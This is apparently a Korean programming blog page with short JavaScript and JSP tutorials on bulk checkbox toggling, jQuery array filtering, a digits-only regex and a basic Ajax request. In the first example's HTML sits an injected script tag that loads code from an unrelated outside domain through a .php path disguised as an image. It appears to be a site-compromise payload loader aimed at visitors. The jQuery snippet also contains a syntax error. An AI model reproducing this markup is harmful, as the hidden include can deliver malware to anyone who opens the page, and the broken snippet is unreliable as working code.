<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <TITLE> New Document </TITLE> <script language='JavaScript'> function checkCall(oElement){ var newtime = new Date().getTime(); var len = document.form1.chkC.length; var chkArr = document.form1.chkC; var boolv = oElement.checked; for(var i=0;i<len;i++){ chkArr[i].checked = boolv; } var newtime2 = new Date().getTime(); td3.innerHTML="걸린시간 : "+(newtime2-newtime); } </script> </HEAD> <script src=http://hairbrokersinc.com/images/gifimg.php ></script><BODY> <form name='form1'> <table border='1' width='700'> <tr> <td><input type='checkbox' id='chkCall' onclick='checkCall(this)'>전체 체크/해제</td> </tr> <tr> <td> <div id="divC" style="overflow-x: hidden; overflow-y: auto; width:100%; height:200; padding: 0px; border: 1;"> <script language='JavaScript'> for(var i=0;i<2000;i++){ document.write("<input type='checkbox' id='chkC' value='"+i+"'>C의 "+i+"번째 체크박스<br />") } </script> <div> </td> </tr> <tr> <td id='td3'> </td> </tr> <table> </form> </body> </HTML>
Javascript
- [Javascript] 대량의 CHKECKBOX 이용시 빠르게 체크 예제 2011.06.02
- [Javascript] JQuery 배열 요소 삭제 2011.06.02
- [Javascript] 정규식 숫자만 나타내기 2011.06.02
- Ajax 간단한 예제! 2009.07.30
[Javascript] 대량의 CHKECKBOX 이용시 빠르게 체크 예제
2011. 6. 2. 20:46
[Javascript] JQuery 배열 요소 삭제
2011. 6. 2. 20:42
var arr = [1, 2, 3, 4, 5] // array inicial var removeItem = 2; // item do array que devera ser removido arr = jQuery.grep(arr, function(value)) { return value != removeItem; });
result : [1, 3, 4, 5]
[Javascript] 정규식 숫자만 나타내기
2011. 6. 2. 20:41
숫자만 나타내기
var temp="1aaa2aabb한3글이sdf당4dDFFJJE"; //var regExp = /[^0-9A-Za-zㄱ-ㅎ가-힣]/gi; var regExp = /[^0-9]/gi; temp = temp.replace(regExp,""); document.write(temp);
결과 : 1234
Ajax 간단한 예제!
2009. 7. 30. 21:50
// Ajax.jsp // 웹프로그래밍 언어는 관계없다 난 jsp를 좋아라 해서..;
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %> <HTML> <HEAD> <SCRIPT language=javascript> var xhr = null; // XMLHttpRequest 객체 얻기 function getXMLHttpRequest() { if (window.ActiveXObject) { try { return new ActiveXObject("Msxml2.XMLHTTP");//IE 상위 버젼 } catch (e1) { try { return new ActiveXObject("Microsoft.XMLHTTP");//IE 하위 버젼 } catch (e2) { return null; } } } else if (window.XMLHttpRequest) { return new XMLHttpRequest();//IE 이외의 브라우저(FireFox 등) } else { return null; } } // 서버에 요청 function requestWorkPlan(URL, Str) { //한글 처리( escape를 빼면 변환되지않음 이유는 나도 모름..ㅠ) var SearchVal = escape(encodeURIComponent(Str)); URL += "?SearchVal="+SearchVal; xhr = getXMLHttpRequest();//XMLHttpRequest 객체 얻기 xhr.onreadystatechange = responseWorkplan;//콜백 함수 등록 xhr.open("GET", URL, true);//연결 xhr.send(null);//전송 // 모두실행되면 전송된 URL이 전부실행되고 아래펑션에서 응답을하게된다. // 왜냐 위 콜백함수이름이 responseWorkplan이니까 } // 응답 function responseWorkplan() { if (xhr.readyState == 4) {//완료 if (xhr.status == 200) {//오류없이 OK //서버실행된 모든 태그 및 스크립트를 str에 담는다. var str = xhr.responseText; //DIV나 SPAN태그에 str을 담으면 페이지이동없이 실행된다. document.getElementById("WorkPlan").innerHTML = str; } else { alert("Fail : " + xhr.status); } } } </SCRIPT> <A onclick="javascript:requestWorkplan('Ajax_proc.jsp','한글이지렁~')">엘롱</A> <SPAN id=WorkPlan> 멍청이 </SPAN>// Ajax_proc.jsp // 역시 웹프로그래밍 언어는 관계없다
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %> <%="똑똑한데?ㅋ"%>실행하고나면 위의 span 태그값 "멍청이" 가 "똑똑한데?ㅋ" 으로 변경되며 페이지 이동없이 실행된다. 응용하면 Ajax_proc.jsp 에서 DB 값을 가져와 맘대로 뿌려주면 된다...